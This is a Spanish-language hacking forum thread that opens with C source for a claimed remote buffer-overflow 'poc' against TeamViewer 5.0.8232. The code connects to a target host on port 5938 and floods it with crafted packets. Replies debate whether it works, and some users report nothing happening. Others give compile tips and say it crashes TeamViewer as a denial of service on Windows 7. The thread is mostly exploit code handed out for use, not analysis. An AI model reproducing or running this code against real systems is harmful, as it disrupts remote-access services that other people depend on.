Código: Seleccionar todo

#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<unistd.h>
 
#define ALOC(tip,n) (tip*)malloc(sizeof(tip)*n)
#define POCNAME "[*]TeamViewer 5.0.8232 remote BOF poc(0day)"
#define AUTHOR "[*]fl0 fl0w"
 
   typedef int i32;
   typedef char i8;
   typedef short i16;
   enum {
        True=1,
        False=0,
        Error=-1       
   };
   struct  linger  ling = {1,1};
   i8* host;
   i16 port;
   i32 ver1,ver2,slen;
   void syntax(){
             i8 *help[]={"\t-h hostname",
                        "\t-p port(default 5938)",
                };
                i32 i;
                size_t com=sizeof help / sizeof help[0];
                for(i=0;i<com;i++){
                   printf("%s\n",help[i]); 
               }
        }
    i32 arguments(i32 argc,i8** argv){
         i32 i;
         argc--;
         for(i=1;i<argc;i++){
            switch(argv[i][1]){
                  case'h':
                          host=argv[++i];
                  break;
                  case'p':
                          port=atoi(argv[++i]);
                  break;                        
                  default:{
                          printf("error with argument nr %d:(%s)\n",i,argv[i]);
                  return Error;
                          exit(0); 
                }      
            }                
         }
    }   
    i32 main(i32 argc,i8** argv){
        if(argc<2){
               printf("%s\n%s\n",POCNAME,AUTHOR);       
               printf("\tToo few arguments\n syntax is:\n");
               syntax();
               exit(0);       
            }
            arguments(argc,argv);
        i32 sok,i,
            svcon,
            sokaddr;
             
        i8 *sendbytes=ALOC(i8,32768),   
           *recevbytes=ALOC(i8,5548);
            printf("[*]Starting \n \t...\n");   
            struct sockaddr_in sockaddr_sok;
            sokaddr = sizeof(sockaddr_sok);
            sockaddr_sok.sin_family = AF_INET;
            sockaddr_sok.sin_addr.s_addr = inet_addr(host);
            sockaddr_sok.sin_port = htons(port);
            sok=socket(AF_INET,SOCK_STREAM,0);
                        if(sok==-1){
                          printf("[*]FAILED SOCKET\n");
                          exit(0);
                       }
            if(svcon=connect(sok,(struct sockaddr*)&sockaddr_sok,sokaddr)<0){
               printf("Error with connection\n");
               shutdown(sok,1);
               exit(0);
            }
            if(setsockopt(sok, SOL_SOCKET, SO_LINGER, (i8*)&ling, sizeof(ling))<0){
                               printf("Error setting the socket\n");
                                              shutdown(sok,1);
                                exit(0);
            }
            if(recv(sok,&ver1,1,0)!=1)
               exit(0);
            if(recv(sok, &ver2,1,0)!=1)
               exit(0);
            memset(sendbytes,0,250);
            recv(sok,recevbytes,sizeof(recevbytes),0);
            for(i=0;;i++) {
               if(!(i & 15)) printf("%d\r", i);
                  sendbytes[0] = ver1;
                  sendbytes[1] = ver2;
                  sendbytes[2] = (i & 1) ? 15 : 21;  
            *(i16 *)(sendbytes + 3) = slen;
                 if(send(sok, sendbytes, 5, 0) != 5) break;
 
                   if(slen) { 
                     memset(sendbytes, i, slen);
                     if(send(sok, sendbytes, slen, 0) != slen) break;
                     }
           }
           shutdown(sok,1);
           return 0;
    }

Esta recien salido, en cuanto me llegue mas información lo edito.


Un saludo!
uoooooooh que bueno!! gracias por pasártelo!

Edit//

No funcionó el exploit con la misma vesión que aparece, hicimos Thor y yo la prueba y nanai de la china.
No importa cuan rápida y avanzada sea la tecnología, la mente humana aún es el procesador más versátil y creativo que hay.
4n0nym0us escribió:uoooooooh que bueno!! gracias por pasártelo!

Edit//

No funcionó el exploit con la misma vesión que aparece, hicimos Thor y yo la prueba y nanai de la china.



Yo lo he probado y me funciona muy bién.. recuerda que es la versión
TeamViewer 5.0.8232.. o si no prueba con versiones como la 4, y me dices a ver si va..

Me parece que el error que os da es este, confirmamelo.

Código: Seleccionar todo

oot@shell:~/Escritorio# gcc -o prueba Team0day.c
Team0day.c: In function ‘arguments’:
Team0day.c:47: warning: incompatible implicit declaration of built-in function ‘exit’
Team0day.c: In function ‘main’:
Team0day.c:57: warning: incompatible implicit declaration of built-in function ‘exit’
Team0day.c:64: warning: incompatible implicit declaration of built-in function ‘malloc’
Team0day.c:75: warning: incompatible implicit declaration of built-in function ‘exit’
Team0day.c:80: warning: incompatible implicit declaration of built-in function ‘exit’
Team0day.c:85: warning: incompatible implicit declaration of built-in function ‘exit’
Team0day.c:88: warning: incompatible implicit declaration of built-in function ‘exit’
Team0day.c:91: warning: incompatible implicit declaration of built-in function ‘memset’
root@shell:~/Escritorio#

Es el único error que puedo ver asin a simple vista..


Prueba esto gcc -Wall -o "Team0day" "Team0day.c" Me funciono asín, si es otro error
avisame.


Un saludito
Hola,

compilar, compila, aunque de unos warnings. El problema es que una vez lanzado contra la máquina de An0nym0us donde tenía esa misma versión de TemaViewer no hizo nada, y conectar se conecto y probé varias veces.
No esperaba que diese una shell ya que el código no tiene shellcode, pero si esperaba que hubiese cascado el teamviewer.

¿Tu lo lanzaste contra un teamviewer? ¿Con que resultado?
un saludo.
que p0c de mierda no hace nada.
prove con las versiones anteriores de teamviewer y tampoco nada
skillmax deberias explicar como te funko
Imagen
en el msn ♣Conejo escribió:[26/03/11 10:39:13] Su firma contiene 281 caracteres. El máximo número de caracteres permitidos es 200.
menos mal que soy admin
Cierto funciona perfectamente como DOS si se quiere explotar una shell la vamos a tener un poco dificil aqui un video donde se ve que funciona perfectamente compilado en un backtrack linux y el ataque lo lleve acabo al team viewer en un windows 7 x64 [Enlace externo eliminado para invitados]
Aprender, aprender, aprender
Responder

Volver a “Exploits”